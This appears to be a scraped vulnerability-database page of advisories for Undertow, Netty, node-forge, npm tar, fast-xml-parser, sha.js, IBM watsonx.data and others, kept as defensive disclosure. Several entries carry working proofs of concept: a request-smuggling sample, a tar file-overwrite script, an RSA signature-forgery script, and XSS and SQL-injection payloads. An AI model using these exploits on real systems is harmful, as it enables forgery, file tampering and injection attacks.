Where
-Infinity
0
Severity
7.5
Input Validation
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in Undertow that can cause remote denial of service attacks. When the server uses the FormEncodedDataDefinition.doParse(StreamSourceChannel) method to parse large form data encoding with application/x-www-form-urlencoded, the method will cause an OutOfMemory issue. This flaw allows unauthorized users to cause a remote denial of service (DoS) attack.

1 / 2
Source: NVD
First published (updated )
Severity
9.6
Input Validation, SSRF
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

A flaw was found in the Undertow HTTP server core, which is used in WildFly, JBoss EAP, and other Java applications. The Undertow library fails to properly validate the Host header in incoming HTTP requests. As a result, requests containing malformed or malicious Host headers are processed without rejection, enabling attackers to poison caches, perform internal network scans, or hijack user sessions.

1 / 4
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Impact

Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling.

Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself.

1 / 5
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Impact The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1

This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case.

Patches This was fixed as part of 4.1.61.Final

Workarounds Validation can be done by the user before proxy the request by validating the header.

1 / 5
First published (updated )
Severity
5.9
XSS
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Impact If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (HttpRequest, HttpContent, etc.) via Http2StreamFrameToHttpObjectCodec and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.

In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.

An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like:

POST / HTTP/2 :authority:: externaldomain.com Content-Length: 4

asdfGET /evilRedirect HTTP/1.1 Host: internaldomain.com

Users are only affected if all of this is true: HTTP2MultiplexCodec or Http2FrameCodec is used Http2StreamFrameToHttpObjectCodec is used to convert to HTTP/1.1 objects These HTTP/1.1 objects are forwarded to another remote peer.

Patches This has been patched in 4.1.60.Final

Workarounds The user can do the validation by themselves by implementing a custom ChannelInboundHandler that is put in the ChannelPipeline behind Http2StreamFrameToHttpObjectCodec.

References Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980

1 / 5
First published (updated )
Severity
6.2
Infoleak
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impact

When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.

The CVSSv3.1 score of this vulnerability is calculated to be a 6.2/10

Vulnerability Details

On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems.

The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Thus, if sensitive information is written to this file, other local users can read this information.

This is the case in netty's AbstractDiskHttpData is vulnerable.

https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101

AbstractDiskHttpData is used as a part of the DefaultHttpDataFactory class which is used by HttpPostRequestDecoder / HttpPostMultiPartRequestDecoder.

You may be affected by this vulnerability your project contains the following code patterns:

java channelPipeline.addLast(new HttpPostRequestDecoder(...));

java channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...));

Patches

This has been patched in version 4.1.59.Final.

Workarounds

Specify your own java.io.tmpdir when you start the JVM or use DefaultHttpDataFactory.setBaseDir(...) to set the directory to something that is only readable by the current user.

References

- CWE-378: Creation of Temporary File With Insecure Permissions - CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Similar Vulnerabilities

Similar, but not the same.

- JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - Google Guava - https://github.com/google/guava/issues/4011 - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824

For more information If you have any questions or comments about this advisory: Open an issue in netty Email us here

Original Report

Hi Netty Security Team, I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: https://lgtm.com/query/7723301787255288599/ Netty contains three local information disclosure vulnerabilities, so far as I can tell. One is here, where the private key for the certificate is written to a temporary file. https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 One is here, where the certificate is written to a temporary file. https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 All of these vulnerabilities exist because File.createTempFile(String, String) will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: -rw-r--r--, thus, any other local user on that system can read the contents of that file. Impacted OS: - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. Mitigation. Moving to the Files API instead will fix this vulnerability. https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- This API will explicitly set the posix file permissions to something safe, by default. I recently disclosed a similar vulnerability in JUnit 4: https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. https://github.com/netty/netty/security/advisories This vulnerability disclosure follows Google's 90-day vulnerability disclosure policy (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. Cheers, Jonathan Leitschuh

1 / 5
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Werkzeug is a comprehensive WSGI web application library. Prior to version 3.1.4, Werkzeug's safejoin function allows path segments with Windows device names. On Windows, there are special device names such as CON, AUX, etc that are implicitly present and readable in every directory. sendfromdirectory uses safejoin to safely serve files at user-specified paths under a directory. If the application is running on Windows, and the requested path ends with a special device name, the file will be opened successfully, but reading will hang indefinitely. This issue has been patched in version 3.1.4.

1 / 3
Source: MITRE
First published (updated )
Severity
6.2
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.3.0, 5.3.1 stores user credentials in plain text which can be read by a local user.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
EPSS
0.06%
Input Validation
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js') const { randomBytes } = require('crypto')

const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])

Output: 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe

Or just: console require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) 4. DoS on {length:'1e99'} 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

1 / 3
Source: GitHub
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

IBM watsonx.data intelligence 5.2.2, 5.3.0, 5.3.1, 5.3.1 through Patch 1 transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques.

1 / 2
Source: MITRE
First published (updated )
Severity
5.7
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.

1 / 2
Source: MITRE
First published (updated )
Severity
6.4
XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 is vulnerable to stored cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow an authenticated user to bypass security controls and perform unauthorized actions due to client-side enforcement of sever-side security.

1 / 2
Source: MITRE
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow an authenticated user to perform unauthorized actions due to the improper enforcement of behavioral workflow.

1 / 2
Source: MITRE
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques.

1 / 2
Source: MITRE
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser.  This information could be used in further attacks against the system.

1 / 2
Source: MITRE
First published (updated )
Severity
4.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 s vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

1 / 2
Source: MITRE
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow an authenticated user to cause a temporary denial using a specially crafted HTTP request due to improper allocation of resource throttling.

1 / 2
Source: MITRE
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

1 / 2
Source: MITRE
First published (updated )
Severity
5.5
EPSS
0.02%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

This affects versions of the package bn.js before 4.12.3 and 5.2.3. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

A vulnerability identified in NetIQ Advance Authentication that leaks sensitive server information. This issue affects NetIQ Advance Authentication version before 6.3.5.1

1 / 4
Source: IBM
First published (updated )
Severity
8.2
EPSS
0.01%
Path Traversal
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt": 1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l. 4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

js const fs = require('fs') const path = require('path') const { Header, x } = require('tar')

const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) })

Run:

bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
EPSS
1.97%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS).

1 / 3
Source: NVD
First published (updated )
Severity
7.5
EPSS
0.03%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions: - Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v15). - parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (decodePkcs1v15), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

1. Strict DER byte-consumption (parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. decodePkcs1v15 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps 1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. 4. Place and run the PoC script (repromin.js) with node repromin.js in the same level as the forge folder. 5. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify (parseAllDigestBytes: true), and - Node/OpenSSL verify (crypto.verify with RSAPKCS1PADDING). 7. Confirm output includes: - control-forge-strict: true - control-node: true - forgery (forge library, strict): true - forgery (node/OpenSSL): false

Proof of Concept

Overview: - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (parseAllDigestBytes: true, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit:

text control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false

<details><summary>repromin.js</summary>

javascript #!/usr/bin/env node 'use strict';

const crypto = require('crypto'); const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFOSHA256PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' );

const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi hi hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid mid mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f f f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); }

function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for msg // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v15 // - options.parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } }

function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } });

const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3');

const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFOSHA256PREFIX, digest]);

// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // garbageLen affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly k. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]);

// Build the numeric interval of all EM values that start with prefix: // - low = prefix || 00..00 // - high = one past (prefix || ff..ff) // Then find s such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

const sig = toBuf(s, k);

const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSAPKCS1PADDING });

// forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig);

// Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSAPKCS1PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSAPKCS1PADDING }, sig);

console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); }

main(); </details>

Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in decodePkcs1v15 before accepting the block. - Update the RSASSA-PKCS1-v15 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

diff index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v15 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function decodePkcs1v15(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - lib/rsa.js key.verify(...) at lines ~1139-1223. - lib/rsa.js decodePkcs1v15(...) at lines ~1632-1695.

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
EPSS
0.04%
XSS
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (&lt;, &gt;, &amp;, &quot;, &apos;) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

js entities[entityName] = { regx: RegExp(&${entityName};, "g"), val: val };

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in &lt;. Since DOCTYPE entities are replaced before built-in entities, this shadows &lt; entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

js // v6 EntitiesParser.js line 96 const specialChar = "!?\\/[]$%{}^&()<>|+"; // no dot

Shadowing all 5 built-in entities

| Entity name | Regex created | Shadows | |---|---|---| | l. | /&l.;/g | &lt; | | g. | /&g.;/g | &gt; | | am. | /&am.;/g | &amp; | | quo. | /&quo.;/g | &quot; | | apo. | /&apo.;/g | &apos; |

PoC

js const { XMLParser } = require("fast-xml-parser");

const xml = <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY l. "<img src=x onerror=alert(1)>"> ]> <root> <text>Hello &lt;b&gt;World&lt;/b&gt;</text> </root>;

const result = new XMLParser().parse(xml); console.log(result.root.text); // Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

&amp; can be shadowed too:

js const xml2 = <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY am. "'; DROP TABLE users;--"> ]> <root>SELECT FROM t WHERE name='O&amp;Brien'</root>;

const r = new XMLParser().parse(xml2); console.log(r.root); // SELECT FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

- Default config, no special options - Attacker can replace any &lt; / &gt; / &amp; / &quot; / &apos; with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page - v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

js const escaped = entityName.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); entities[entityName] = { regx: RegExp(&${escaped};, "g"), val: val };

For v6, add . to the blacklist in validateEntityName:

js const specialChar = "!?\\/[].{}^&()<>|+";

Severity

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

1 / 4
Source: GitHub
First published (updated )
Severity
8
EPSS
0.01%
XSS
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if developers are creating redirect paths from untrusted content or via an open redirect.

[!NOTE] This does not impact applications that use Declarative Mode (<BrowserRouter>).

1 / 4
Source: GitHub
First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

A vulnerability was found in Undertow. This issue requires enabling the learning-push handler in the server's config, which is disabled by default, leaving the maxAge config in the handler unconfigured. The default is -1, which makes the handler vulnerable. If someone overwrites that config, the server is not subject to the attack. The attacker needs to be able to reach the server with a normal HTTP request.

1 / 2
Source: NVD
First published (updated )
Severity
7.5
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

